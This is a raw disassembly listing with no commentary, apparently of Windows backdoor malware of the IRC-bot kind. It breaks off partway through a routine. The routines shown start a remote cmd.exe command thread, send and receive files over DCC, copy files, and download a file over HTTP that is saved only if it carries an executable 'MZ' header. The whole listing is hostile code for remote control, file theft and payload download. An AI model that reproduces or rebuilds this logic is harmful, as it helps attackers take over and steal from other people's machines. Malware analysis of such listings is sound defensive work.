loc_401861:				; CODE XREF: sub_401621+1DFj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40180B
; ---------------------------------------------------------------------------


loc_401867:				; CODE XREF: sub_401621+19Bj
		lea	eax, [ebp+var_21C]
		push	offset aCouldNotReadDa ; "Could	not read data from process."
		push	eax
		call	sub_401571
		jmp	short loc_40188B
; ---------------------------------------------------------------------------


loc_40187A:				; CODE XREF: sub_401621+1C0j
		lea	eax, [ebp+var_21C]
		push	offset aCmd_exeProcess ; "Cmd.exe process has terminated."
		push	eax
		call	sub_4096CB


loc_40188B:				; CODE XREF: sub_401621+257j
		pop	ecx
		pop	ecx


loc_40188D:				; CODE XREF: sub_401621+85j
					; sub_401621+9Cj ...
		call	sub_401534


loc_401892:				; CODE XREF: sub_401621+58j
		push	[ebp+var_420]
		call	sub_406E6F
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_401621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018A7	proc near		; CODE XREF: sub_4018D5+90p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_4114BE	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4191C0
		call	dword_412070	; WriteFile
		neg	eax
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_4018A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018D5	proc near		; CODE XREF: sub_407A76+12B3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	[eax+198h], bl
		push	edi
		jz	short loc_401905
		cmp	[ebp+arg_4], ebx
		jz	loc_401980
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4121E4
		jmp	short loc_401980
; ---------------------------------------------------------------------------


loc_401905:				; CODE XREF: sub_4018D5+11j
		push	3A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	short loc_401980
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		jz	short loc_40192F
		push	200h
		lea	eax, [esi+4]
		push	edi
		push	eax
		call	sub_4059C2
		add	esp, 0Ch


loc_40192F:				; CODE XREF: sub_4018D5+46j
		push	[ebp+arg_0]
		lea	eax, [esi+204h]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aRemoteCmdThrea ; "Remote cmd thread"
		push	1
		push	esi
		push	offset sub_401621
		call	sub_406D58
		add	esp, 10h
		cmp	edi, ebx
		jz	short loc_401980
		push	offset asc_413214 ; "\r\n"
		push	edi
		call	sub_4114EE	; _mbscat
		push	edi
		call	sub_4018A7
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_401980
		push	offset aErrorWhileExec ; "Error	while executing	command."
		push	[ebp+arg_0]
		call	sub_4096CB
		pop	ecx
		pop	ecx


loc_401980:				; CODE XREF: sub_4018D5+16j
					; sub_4018D5+2Ej ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4018D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401985	proc near		; DATA XREF: sub_401EA8+E9o

var_604		= qword	ptr -604h
var_5FC		= qword	ptr -5FCh
var_5E8		= byte ptr -5E8h
var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3C3		= byte ptr -3C3h
var_2BF		= byte ptr -2BFh
var_1BF		= byte ptr -1BFh
var_1B5		= byte ptr -1B5h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5E8h
		push	esi
		push	3D6h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3E8]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		lea	eax, [ebp+var_3C3]
		push	eax
		call	dword_4120B8	; DeleteFileA
		lea	eax, [ebp+var_3C3]
		push	offset dword_4132AC
		push	eax
		call	sub_411506	; fopen
		xor	esi, esi
		pop	ecx
		cmp	eax, esi
		pop	ecx
		mov	[ebp+var_10], eax
		jnz	short loc_4019E4
		push	[ebp+var_3E8]
		call	sub_406E6F
		jmp	short loc_401A1B
; ---------------------------------------------------------------------------


loc_4019E4:				; CODE XREF: sub_401985+50j
		push	2710h
		lea	eax, [ebp+var_1BF]
		push	esi
		push	eax
		lea	eax, [ebp+var_2BF]
		push	eax
		call	sub_403C04
		add	esp, 10h
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jnz	short loc_401A23
		push	[ebp+var_10]
		call	sub_411500	; fclose
		push	[ebp+var_3E8]
		call	sub_406E6F
		pop	ecx


loc_401A1B:				; CODE XREF: sub_401985+5Dj
		pop	ecx
		xor	eax, eax
		jmp	loc_401B7C
; ---------------------------------------------------------------------------


loc_401A23:				; CODE XREF: sub_401985+80j
		push	ebx
		lea	eax, [ebp+var_3E4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C3]
		push	eax
		mov	eax, [ebp+var_3E8]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1B5]
		push	offset dword_413280
		push	eax
		call	sub_4096CB
		add	esp, 14h
		call	sub_4114E2	; clock
		mov	ebx, dword_412258
		mov	[ebp+var_4], esi
		push	esi
		mov	[ebp+arg_0], eax
		mov	esi, 200h
		lea	eax, [ebp+var_5E8]
		push	esi
		push	eax
		push	[ebp+var_C]


loc_401A71:				; CODE XREF: sub_401985+14Bj
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_401AD2
		cmp	edi, esi
		ja	short loc_401AD2
		add	[ebp+var_4], edi
		push	[ebp+var_4]
		call	dword_41225C	; htonl
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	[ebp+var_C]
		call	sub_403D9D
		push	[ebp+var_10]
		lea	eax, [ebp+var_5E8]
		push	edi
		push	1
		push	eax
		call	sub_4114FA	; fwrite
		add	esp, 1Ch
		cmp	edi, esi
		jb	short loc_401AD2
		mov	eax, [ebp+var_3E8]
		cmp	dword ptr [eax+4], 0
		jnz	loc_401B5A
		push	0
		lea	eax, [ebp+var_5E8]
		push	esi
		push	eax
		push	[ebp+var_C]
		jmp	short loc_401A71
; ---------------------------------------------------------------------------


loc_401AD2:				; CODE XREF: sub_401985+F2j
					; sub_401985+F6j ...
		push	[ebp+var_10]
		call	sub_4114F4	; ftell
		pop	ecx
		mov	esi, eax
		call	sub_4114E2	; clock
		cmp	[ebp+arg_0], eax
		jnz	short loc_401AF0
		call	sub_4114E2	; clock
		dec	eax
		mov	[ebp+arg_0], eax


loc_401AF0:				; CODE XREF: sub_401985+160j
		mov	eax, esi
		mov	ecx, 400h
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		fild	[ebp+var_8]
		fstp	[ebp+var_4]
		call	sub_4114E2	; clock
		sub	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		mov	[ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	flt_412280
		fdivr	[ebp+var_4]
		fstp	[esp+5FCh+var_5FC]
		call	sub_4114E2	; clock
		sub	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_3E4]
		fild	[ebp+arg_0]
		fmul	flt_412280
		fstp	[esp+604h+var_604]
		push	eax
		lea	eax, [ebp+var_3C3]
		push	eax
		lea	eax, [ebp+var_1B5]
		push	offset dword_413234
		push	eax
		call	sub_4096CB
		add	esp, 20h


loc_401B5A:				; CODE XREF: sub_401985+138j
		push	[ebp+var_10]
		call	sub_411500	; fclose
		push	[ebp+var_C]
		call	sub_403D70
		push	[ebp+var_3E8]
		call	sub_406E6F
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	ebx


loc_401B7C:				; CODE XREF: sub_401985+99j
		pop	esi
		leave
		retn	4
sub_401985	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B81	proc near		; DATA XREF: sub_401FA3+65o

var_A1C		= qword	ptr -0A1Ch
var_A14		= qword	ptr -0A14h
var_A00		= byte ptr -0A00h
var_5FC		= byte ptr -5FCh
var_3FC		= byte ptr -3FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= byte ptr -2F4h
var_2D3		= byte ptr -2D3h
var_2D2		= byte ptr -2D2h
var_1CF		= byte ptr -1CFh
var_2C		= byte ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A00h
		push	ebx
		push	esi
		push	edi
		push	2CCh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_2D3]
		push	eax
		call	sub_4114BE	; strlen
		xor	esi, esi
		add	esp, 14h
		cmp	eax, esi
		jz	short loc_401BCB


loc_401BBE:				; CODE XREF: sub_401B81+48j
		cmp	[ebp+eax+var_2D3], 5Ch
		jz	short loc_401BD3
		dec	eax
		jnz	short loc_401BBE


loc_401BCB:				; CODE XREF: sub_401B81+3Bj
		lea	eax, [ebp+var_2D3]
		jmp	short loc_401BDA
; ---------------------------------------------------------------------------


loc_401BD3:				; CODE XREF: sub_401B81+45j
		lea	eax, [ebp+eax+var_2D2]


loc_401BDA:				; CODE XREF: sub_401B81+50j
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		lea	eax, [ebp+var_8]
		pop	ecx
		mov	[ebp+var_8], 10h
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_4091A7
		push	eax
		call	dword_412250	; getsockname
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_A00]
		push	401h
		push	eax
		push	[ebp+var_8]
		lea	eax, [ebp+var_2C]
		push	eax
		call	dword_419228	; getnameinfo
		test	eax, eax
		jz	short loc_401C32


loc_401C25:				; CODE XREF: sub_401B81+E3j
		push	[ebp+var_2F8]
		call	sub_406E6F
		jmp	short loc_401C91
; ---------------------------------------------------------------------------


loc_401C32:				; CODE XREF: sub_401B81+A2j
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		push	1388h
		push	400h
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41192A	; _itoa
		lea	eax, [ebp+var_14]
		push	1
		push	eax
		call	sub_403644
		mov	edi, eax
		add	esp, 14h
		cmp	edi, esi
		mov	[ebp+var_1C], edi
		jz	short loc_401C25
		lea	eax, [ebp+var_2D3]
		push	offset aRb	; "rb"
		push	eax
		call	sub_411506	; fopen
		mov	ebx, eax
		pop	ecx
		cmp	ebx, esi
		pop	ecx
		jnz	short loc_401C97
		push	edi
		call	sub_40392A
		push	[ebp+var_2F8]
		call	sub_406E6F
		pop	ecx


loc_401C91:				; CODE XREF: sub_401B81+AFj
		pop	ecx
		jmp	loc_401E9F
; ---------------------------------------------------------------------------


loc_401C97:				; CODE XREF: sub_401B81+FCj
		push	2
		push	esi
		push	ebx
		call	sub_411516	; fseek
		push	ebx
		call	sub_4114F4	; ftell
		push	esi
		push	esi
		push	ebx
		mov	[ebp+var_4], eax
		call	sub_411516	; fseek
		add	esp, 1Ch
		lea	eax, [ebp+var_A00]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_2F4]
		push	offset aDccSendSS ; "DCC Send %s (%s)"
		push	eax
		call	sub_4095E7
		add	esp, 10h
		lea	eax, [ebp+var_14]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_A00]
		push	eax
		call	dword_412254	; inet_addr
		push	eax
		call	dword_41225C	; htonl
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_2F4]
		push	offset dword_413348
		push	eax
		call	sub_409659
		push	0EA60h
		push	edi
		call	sub_403767
		add	esp, 20h
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	loc_401E85
		cmp	eax, 0FFFFFFFFh
		jz	loc_401E85
		lea	eax, [ebp+var_2F4]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		mov	eax, [ebp+var_2F8]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1CF]
		push	offset dword_413320
		push	eax
		call	sub_4096CB
		call	sub_4114E2	; clock
		mov	esi, 200h
		mov	[ebp+arg_0], eax
		push	ebx
		push	esi
		lea	eax, [ebp+var_5FC]
		push	1
		push	eax
		call	sub_411510	; fread
		add	esp, 24h


loc_401D73:				; CODE XREF: sub_401B81+23Aj
		mov	edi, eax
		test	edi, edi
		jz	short loc_401DE1
		cmp	edi, esi
		ja	short loc_401DE1
		lea	eax, [ebp+var_5FC]
		push	edi
		push	eax
		push	[ebp+var_C]
		call	sub_403D9D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401DBD
		cmp	edi, esi
		jb	short loc_401DE1
		mov	eax, [ebp+var_2F8]
		cmp	dword ptr [eax+4], 0
		jnz	loc_401E5F
		push	ebx
		push	esi
		lea	eax, [ebp+var_5FC]
		push	1
		push	eax
		call	sub_411510	; fread
		add	esp, 10h
		jmp	short loc_401D73
; ---------------------------------------------------------------------------


loc_401DBD:				; CODE XREF: sub_401B81+211j
		lea	eax, [ebp+var_2F4]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_1CF]
		push	offset dword_4132F4
		push	eax
		call	sub_4096CB
		add	esp, 10h
		jmp	short loc_401E5F
; ---------------------------------------------------------------------------


loc_401DE1:				; CODE XREF: sub_401B81+1F6j
					; sub_401B81+1FAj ...
		call	sub_4114E2	; clock
		cmp	[ebp+arg_0], eax
		jnz	short loc_401DF4
		call	sub_4114E2	; clock
		dec	eax
		mov	[ebp+arg_0], eax


loc_401DF4:				; CODE XREF: sub_401B81+268j
		mov	eax, [ebp+var_4]
		mov	ecx, 400h
		cdq
		idiv	ecx
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fstp	[ebp+var_18]
		call	sub_4114E2	; clock
		sub	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fmul	flt_412280
		fdivr	[ebp+var_18]
		fstp	[esp+0A14h+var_A14]
		call	sub_4114E2	; clock
		sub	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_2F4]
		fild	[ebp+arg_0]
		fmul	flt_412280
		fstp	[esp+0A1Ch+var_A1C]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_1CF]
		push	offset dword_4132B0
		push	eax
		call	sub_4096CB
		add	esp, 20h


loc_401E5F:				; CODE XREF: sub_401B81+221j
					; sub_401B81+25Ej
		push	[ebp+var_C]
		call	sub_403D70
		push	ebx
		call	sub_411500	; fclose
		push	[ebp+var_1C]
		call	sub_40392A
		push	[ebp+var_2F8]
		call	sub_406E6F
		add	esp, 10h
		jmp	short loc_401E9F
; ---------------------------------------------------------------------------


loc_401E85:				; CODE XREF: sub_401B81+19Cj
					; sub_401B81+1A5j
		push	ebx
		call	sub_411500	; fclose
		push	edi
		call	sub_40392A
		push	[ebp+var_2F8]
		call	sub_406E6F
		add	esp, 0Ch


loc_401E9F:				; CODE XREF: sub_401B81+111j
					; sub_401B81+302j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_401B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401EA8	proc near		; CODE XREF: sub_409918+194p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_4], ebx
		push	esi
		push	edi
		jz	loc_401F9E
		cmp	[ebp+arg_8], ebx
		jz	loc_401F9E
		cmp	[ebp+arg_C], ebx
		jz	loc_401F9E
		cmp	[ebp+arg_10], ebx
		jz	loc_401F9E
		push	[ebp+arg_10]
		call	sub_41151C	; atoi
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	loc_401F9E
		cmp	esi, 0FFFFh
		ja	loc_401F9E
		push	[ebp+arg_14]
		call	sub_41151C	; atoi
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_401F9E
		cmp	esi, 40000000h
		ja	loc_401F9E
		push	3D6h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	short loc_401F9E
		push	21h
		lea	eax, [esi+4]
		push	[ebp+arg_4]
		push	eax
		call	sub_4114D6	; strncpy
		push	104h
		lea	eax, [esi+25h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4114D6	; strncpy
		push	100h
		lea	eax, [esi+129h]
		push	[ebp+arg_C]
		push	eax
		call	sub_4114D6	; strncpy
		push	6
		lea	eax, [esi+229h]
		push	[ebp+arg_10]
		push	eax
		call	sub_4114D6	; strncpy
		push	1A3h
		lea	eax, [esi+233h]
		push	[ebp+arg_0]
		mov	[esi+22Fh], edi
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 3Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_41337C
		push	ebx
		push	esi
		push	offset sub_401985
		call	sub_406D58
		add	esp, 18h


loc_401F9E:				; CODE XREF: sub_401EA8+Bj
					; sub_401EA8+14j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_401EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401FA3	proc near		; CODE XREF: sub_407A76+5FFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	esi
		jz	short loc_402015
		cmp	[ebp+arg_8], 0
		jz	short loc_402015
		push	2CCh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_402015
		push	21h
		lea	eax, [esi+4]
		push	[ebp+arg_4]
		push	eax
		call	sub_4114D6	; strncpy
		push	104h
		lea	eax, [esi+25h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4114D6	; strncpy
		push	1A3h
		lea	eax, [esi+129h]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 24h
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4133A0
		push	0
		push	esi
		push	offset sub_401B81
		call	sub_406D58
		add	esp, 18h


loc_402015:				; CODE XREF: sub_401FA3+8j
					; sub_401FA3+Ej ...
		pop	esi
		pop	ebp
		retn
sub_401FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402018	proc near		; CODE XREF: sub_402230+3CAp

var_408		= byte ptr -408h
var_4		= dword	ptr -4
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	ebx
		push	esi
		mov	ebx, 2710h
		push	edi
		push	ebx
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_403C04
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		mov	[ebp+arg_C], esi
		jz	loc_402226
		push	[ebp+arg_8]
		mov	edi, 401h
		lea	eax, [ebp+var_408]
		push	[ebp+arg_10]
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	edi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_408]
		push	eax
		push	esi
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp+var_408]
		push	edi
		push	eax
		push	esi
		call	sub_403DF6
		add	esp, 34h
		mov	[ebp+arg_10], eax
		test	eax, eax
		jz	loc_40221F
		cmp	eax, 0FFFFFFFFh
		jz	loc_40221F
		lea	eax, [ebp+var_408]
		push	offset asc_4133EC ; "\r\n\r\n"
		push	eax
		call	sub_411528	; strstr
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	loc_40221A
		lea	eax, [ebp+var_408]
		push	offset aContentLength ;	"Content-Length: "
		push	eax
		add	esi, 4
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40221A
		cmp	eax, esi
		ja	loc_40221A
		and	[ebp+var_4], 0
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset aContentLengthU ; "Content-Length: %u\r\n"
		push	eax
		call	sub_411522	; sscanf
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40221A
		mov	ecx, [ebp+var_4]
		test	ecx, ecx
		jz	loc_40221A
		cmp	[ebp+arg_1C], 0
		jz	short loc_40212B
		cmp	ecx, 2
		jb	loc_40221A
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_40221A


loc_40212B:				; CODE XREF: sub_402018+FDj
		mov	eax, [ebp+arg_18]
		test	eax, eax
		jz	short loc_402134
		mov	[eax], ecx


loc_402134:				; CODE XREF: sub_402018+118j
		push	[ebp+arg_14]
		call	sub_4111BA
		test	eax, eax
		pop	ecx
		jnz	loc_40221A
		push	offset dword_4132AC
		push	[ebp+arg_14]
		call	sub_411506	; fopen
		pop	ecx
		mov	[ebp+arg_8], eax
		test	eax, eax
		pop	ecx
		jnz	short loc_40216D


loc_40215B:				; CODE XREF: sub_402018+1CFj
		xor	esi, esi


loc_40215D:				; CODE XREF: sub_402018+1E0j
		push	[ebp+arg_C]
		call	sub_403D70
		pop	ecx
		mov	eax, esi
		jmp	loc_402228
; ---------------------------------------------------------------------------


loc_40216D:				; CODE XREF: sub_402018+141j
		push	eax
		mov	eax, [ebp+arg_10]
		sub	eax, esi
		lea	eax, [ebp+eax+var_408]
		push	eax
		push	1
		push	esi
		call	sub_4114FA	; fwrite
		sub	esi, [ebp+arg_10]
		lea	eax, [ebp+var_408]
		add	esp, 10h
		sub	esi, eax
		add	[ebp+var_4], esi


loc_402194:				; CODE XREF: sub_402018+1C7j
		mov	eax, [ebp+arg_20]
		test	eax, eax
		jz	short loc_4021A1
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4021EC


loc_4021A1:				; CODE XREF: sub_402018+181j
		push	ebx
		lea	eax, [ebp+var_408]
		push	edi
		push	eax
		push	[ebp+arg_C]
		call	sub_403DF6
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jz	short loc_4021FD
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4021FD
		cmp	esi, [ebp+var_4]
		push	[ebp+arg_8]
		ja	short loc_4021E1
		push	esi
		lea	eax, [ebp+var_408]
		push	1
		push	eax
		call	sub_4114FA	; fwrite
		add	esp, 10h
		sub	[ebp+var_4], esi
		jz	short loc_4021EC
		jmp	short loc_402194
; ---------------------------------------------------------------------------


loc_4021E1:				; CODE XREF: sub_402018+1AEj
		call	sub_411500	; fclose
		pop	ecx
		jmp	loc_40215B
; ---------------------------------------------------------------------------


loc_4021EC:				; CODE XREF: sub_402018+187j
					; sub_402018+1C5j
		push	[ebp+arg_8]
		call	sub_411500	; fclose
		pop	ecx
		push	1
		pop	esi
		jmp	loc_40215D
; ---------------------------------------------------------------------------


loc_4021FD:				; CODE XREF: sub_402018+1A1j
					; sub_402018+1A6j
		push	[ebp+arg_8]
		call	sub_411500	; fclose
		push	[ebp+arg_C]
		call	sub_403D70
		pop	ecx
		pop	ecx
		push	[ebp+arg_14]
		call	dword_4120B8	; DeleteFileA
		jmp	short loc_402226
; ---------------------------------------------------------------------------


loc_40221A:				; CODE XREF: sub_402018+A3j
					; sub_402018+C1j ...
		push	[ebp+arg_C]
		jmp	short loc_402220
; ---------------------------------------------------------------------------


loc_40221F:				; CODE XREF: sub_402018+7Dj
					; sub_402018+86j
		push	esi


loc_402220:				; CODE XREF: sub_402018+205j
		call	sub_403D70
		pop	ecx


loc_402226:				; CODE XREF: sub_402018+29j
					; sub_402018+200j
		xor	eax, eax


loc_402228:				; CODE XREF: sub_402018+150j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402018	endp


; =============== S U B	R O U T	I N E =======================================



sub_40222D	proc near		; CODE XREF: sub_402230+415p
					; sub_402230+452p
		xor	eax, eax
		retn
sub_40222D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402230	proc near		; DATA XREF: sub_4027CB+9Fo

var_7EC		= qword	ptr -7ECh
var_7D4		= byte ptr -7D4h
var_6D0		= byte ptr -6D0h
var_5D0		= byte ptr -5D0h
var_4CC		= byte ptr -4CCh
var_4CB		= byte ptr -4CBh
var_44C		= byte ptr -44Ch
var_44B		= byte ptr -44Bh
var_3CC		= dword	ptr -3CCh
var_3C8		= byte ptr -3C8h
var_3C7		= byte ptr -3C7h
var_3C2		= byte ptr -3C2h
var_3C1		= byte ptr -3C1h
var_2C4		= byte ptr -2C4h
var_1C0		= byte ptr -1C0h
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_36		= byte ptr -36h
var_33		= byte ptr -33h
var_26		= byte ptr -26h
var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7D4h
		push	ebx
		push	esi
		push	edi
		push	3AFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3CC]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_7D4]
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	dl, byte_4191D0
		add	esp, 18h
		xor	eax, eax
		lea	edi, [ebp+var_4CB]
		push	1Fh
		mov	[ebp+var_4CC], dl
		pop	ecx
		mov	[ebp+var_44C], dl
		rep stosd
		stosw
		stosb
		push	1Fh
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_44B]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_2C4]
		xor	ebx, ebx
		push	eax
		lea	eax, [ebp+var_7D4]
		push	eax
		mov	eax, [ebp+var_3CC]
		mov	dword ptr [ebp+var_14+4], 1
		mov	[ebp+arg_0], ebx
		push	dword ptr [eax]
		lea	eax, [ebp+var_1C0]
		push	offset dword_4135CC
		push	eax
		call	sub_4096CB
		push	7
		lea	eax, [ebp+var_3C8]
		push	offset dword_4135C4
		push	eax
		call	sub_411930	; _strnicmp
		add	esp, 20h
		test	eax, eax
		jnz	short loc_402347
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3C1]
		push	eax
		call	dword_412068	; CopyFileA
		test	eax, eax
		jnz	loc_402697
		call	dword_41206C	; RtlGetLastWin32Error
		cmp	eax, 20h
		jnz	short loc_40232E
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset dword_41358C
		jmp	loc_40277E
; ---------------------------------------------------------------------------


loc_40232E:				; CODE XREF: sub_402230+E3j
		lea	eax, [ebp+var_3C1]
		push	eax
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset dword_41355C
		jmp	loc_40277E
; ---------------------------------------------------------------------------


loc_402347:				; CODE XREF: sub_402230+BBj
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		mov	esi, eax


loc_402356:				; CODE XREF: sub_402230+136j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4023CD
		cmp	[ebp+esi+var_3C8], 3Ah
		jz	short loc_402368
		dec	esi
		jmp	short loc_402356
; ---------------------------------------------------------------------------


loc_402368:				; CODE XREF: sub_402230+133j
		cmp	[ebp+esi+var_3C7], bl
		push	1
		pop	edi
		jz	short loc_40239B
		mov	al, [ebp+esi+var_3C7]
		lea	ecx, [ebp+esi+var_3C8]


loc_402382:				; CODE XREF: sub_402230+169j
		cmp	al, 2Fh
		jz	short loc_40239B
		cmp	al, 30h
		jl	short loc_4023CD
		cmp	al, 39h
		jg	short loc_4023CD
		mov	byte ptr [ebp+edi+var_C+3], al
		mov	al, [ecx+edi+1]
		inc	edi
		cmp	al, bl
		jnz	short loc_402382


loc_40239B:				; CODE XREF: sub_402230+142j
					; sub_402230+154j
		lea	eax, [ebp+var_8]
		mov	byte ptr [ebp+edi+var_C+3], bl
		push	eax
		call	sub_4032A7
		test	eax, eax
		pop	ecx
		jz	short loc_4023CD
		add	edi, esi
		lea	eax, [ebp+edi+var_3C8]
		push	eax
		lea	eax, [ebp+esi+var_3C8]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		mov	[ebp+arg_0], 1
		pop	ecx


